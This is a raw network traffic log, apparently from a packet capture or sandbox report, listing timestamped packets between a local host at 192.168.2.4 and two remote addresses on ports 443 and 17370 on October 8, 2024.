Oct 8, 2024 02:39:18.154153109 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.154428005 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.154467106 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.154512882 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.154526949 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.154558897 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.154623032 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.155002117 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.155044079 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.155087948 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.155101061 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.155159950 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.155239105 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.155530930 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.155584097 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.155625105 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.155642033 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.155667067 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.155719042 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.156267881 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.156311989 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.156363010 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.156363010 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.156378031 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.156451941 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.158132076 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.158152103 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.158277035 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.158291101 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.159116983 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.200398922 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.200438976 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.200592995 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.200592995 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.200658083 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.200866938 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.232103109 CEST	17370	49738	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:18.240575075 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.240637064 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.240784883 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.240854025 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.240902901 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.240977049 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.242027998 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.242072105 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.242115974 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.242130995 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.242223978 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.242254019 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.242302895 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.242352962 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.242367029 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.242400885 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.242490053 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.242531061 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.242575884 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.242598057 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.242625952 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.243065119 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.244867086 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.244908094 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.244954109 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.244966984 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.245016098 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.245066881 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.245121956 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.245168924 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.245214939 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.245232105 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.245259047 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.245323896 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.245372057 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.245397091 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.245415926 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.245444059 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.245476961 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.245569944 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.285660028 CEST	49738	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:18.286726952 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.286792994 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.286847115 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.286895990 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.286933899 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.289187908 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.326976061 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.327032089 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.327171087 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.327171087 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.327235937 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.327289104 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.327455044 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.327476025 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.327657938 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.327728033 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.327774048 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.328475952 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.328500986 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.328695059 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.328695059 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.328761101 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.328919888 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.330552101 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.330579996 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.330643892 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.330660105 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.330705881 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.330791950 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.331788063 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.331815958 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.331888914 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.331888914 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.331903934 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.332076073 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.332134008 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.332160950 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.332233906 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.332233906 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.332248926 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.332329035 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.332758904 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.332777977 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.332876921 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.332878113 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.332891941 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.333151102 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.403249979 CEST	17370	49738	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:18.404114008 CEST	49738	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:18.409437895 CEST	17370	49738	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:18.409544945 CEST	49738	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:18.411863089 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.411890030 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.411964893 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.411966085 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.412009954 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.412287951 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.412847996 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.412867069 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.412925959 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.412939072 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.412986040 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.413093090 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.413450003 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.413469076 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.413551092 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.413551092 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.413566113 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.413630009 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.414623022 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.414643049 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.414714098 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.414726019 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.414756060 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.414804935 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.416657925 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.416676998 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.416843891 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.416858912 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.417829037 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.417854071 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.417893887 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.417908907 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.417948961 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.418030024 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.418334961 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.418354034 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.418422937 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.418423891 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.418437958 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.418495893 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.418958902 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.418979883 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.419069052 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.419069052 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.419083118 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.419171095 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.498485088 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.498511076 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.498713970 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.498713970 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.498779058 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.499165058 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.499192953 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.499336004 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.499336004 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.499336004 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.499407053 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.499545097 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.499751091 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.499814987 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.499907970 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.500602007 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.500622988 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.500674009 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.500689983 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.500731945 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.500888109 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.502330065 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.502351999 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.502392054 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.502404928 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.502446890 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.502554893 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.503535032 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.503554106 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.503628969 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.503628969 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.503644943 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.504070044 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.504910946 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.504930019 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.505006075 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.505006075 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.505021095 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.505189896 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.505441904 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.505460978 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.505546093 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.505547047 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.505561113 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.505620003 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.542960882 CEST	49740	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:18.546667099 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.546736956 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.546952963 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.546952963 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.547018051 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.547348022 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.548105955 CEST	17370	49740	213.152.162.15	192.168.2.4
Oct 8, 2024 02:39:18.550868988 CEST	49740	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:39:18.585971117 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.586042881 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.586194038 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.586194038 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.586260080 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.586669922 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.586719036 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.586889029 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.586889029 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.586954117 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.587061882 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.587079048 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.587265968 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.587265968 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.587332964 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.589255095 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.589279890 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.589303970 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.589322090 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.589375019 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.589375019 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.590811014 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.590995073 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.591013908 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.591088057 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.591088057 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.591104031 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.593729973 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.593751907 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.593775988 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.593787909 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.593821049 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.594830990 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.594912052 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.594937086 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.598818064 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.598850012 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.606950045 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.632585049 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.632613897 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.632847071 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.632847071 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.632911921 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.634953022 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.640572071 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.672350883 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.672384977 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.672599077 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.672599077 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.672662973 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.673410892 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.673463106 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.673671961 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.673671961 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.673671961 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.673738956 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.673890114 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.673930883 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.674088955 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.674165010 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.674211979 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.674807072 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.675785065 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.675832987 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.675878048 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.675893068 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.675930023 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.677638054 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.677685022 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.677689075 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.677717924 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.677733898 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.677755117 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.677850962 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.677896023 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.677911043 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.677956104 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.680422068 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.680463076 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.680515051 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.680529118 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.680572033 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.681421041 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.681468010 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.681627035 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.681627989 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.681693077 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.718935966 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.718976974 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.719149113 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.719216108 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.719264984 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.758620977 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.758668900 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.758862972 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.758862972 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.758933067 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.760998011 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.761035919 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.761213064 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.761276007 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.761324883 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.761914968 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.761960983 CEST	443	49734	172.67.173.168	192.168.2.4
